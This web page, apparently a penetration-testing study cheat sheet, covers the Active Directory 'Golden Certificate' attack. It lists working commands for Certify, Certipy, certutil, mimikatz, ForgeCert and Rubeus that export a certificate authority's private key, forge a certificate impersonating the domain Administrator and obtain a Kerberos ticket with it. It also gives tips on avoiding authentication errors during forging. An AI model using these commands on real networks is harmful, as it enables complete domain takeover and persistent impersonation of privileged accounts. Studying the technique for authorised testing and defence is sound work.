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Active Directory - Golden Certificate

Active Directory - Golden Certificate

A Golden Certificate is a maliciously crafted certificate that an attacker generates using the CA’s private key.

Obtain CA certificate

Export the CA certificate including the private key:

  • GhostPack/Certify

    Certify.exe manage-self --dump-certs

  • ly4k/Certipy

    certipy ca -u 'administrator@corp.local' -p 'Passw0rd!' -ns '10.10.10.10' -target 'CA.CORP.LOCAL' -config 'CA.CORP.LOCAL\CORP-CA' -backup

  • windows-gui/certsrv.msc

    • Open certsrv.msc
    • Right click the CA -> All Tasks -> Back up CA...
    • Follow the wizard but make sure to check Private key and CA certificate

  • windows-gui/certlm.msc

    • Open certlm.msc
    • Go to Personal -> Certificates
    • Right click the CA signing certificate -> All Tasks -> Export
    • Follow the wizard but make sure to choose Yes, export the private key

  • windows-commands/certutil

    certutil -backupKey -f -p SuperSecurePassw0rd! C:\Windows\Tasks\CaBackupFolder

  • gentilkiwi/mimikatz

    mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"

Forge Golden Certificates

Forge a certificate of a target principal:

  • GhostPack/Certify

    Certify.exe forge --ca-cert <pfx-path/base64-pfx> --upn Administrator --sid S-1-5-21-976219687-1556195986-4104514715-500

  • GhostPack/ForgeCert

    ForgeCert.exe --CaCertPath "ca.pfx" --CaCertPassword "Password" --Subject "CN=User" --SubjectAltName "administrator@domain.local" --NewCertPath "administrator.pfx" --NewCertPassword "Password"

  • ly4k/Certipy

    certipy forge -ca-pfx 'CORP-CA.pfx' -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' -crl 'ldap:///'

certipy forge -template 'attacker.pfx' -ca-pfx 'CORP-CA.pfx' -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'

:warning: Useful parameters when generating a golden certificate.

  • -crl: If the -crl option is omitted when forging, authentication might fail. While the KDC doesn’t typically perform an active CRL lookup during initial TGT issuance for performance reasons, it does often check for the presence of a CDP extension in the certificate. Its absence can lead to a KDC_ERROR_CLIENT_NOT_TRUSTED error.
  • -template 'attacker.pfx': Certipy will copy extensions (like Key Usage, basic constraints, AIA, etc.) from attacker.pfx into the new forged certificate, while still setting the subject, UPN, and SID as specified.
  • -subject "CN=xyz-CA-1, DC=xyz, DC=htb": set the Distinguished Name for the certificate

Request a TGT

  • GhostPack/Rubeus

    Rubeus.exe asktgt /user:Administrator /domain:dumpster.fire /certificate:<pfx-path/base64-pfx>

  • ly4k/Certipy

    certipy auth -pfx 'administrator_forged.pfx' -dc-ip '10.10.10.10'

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.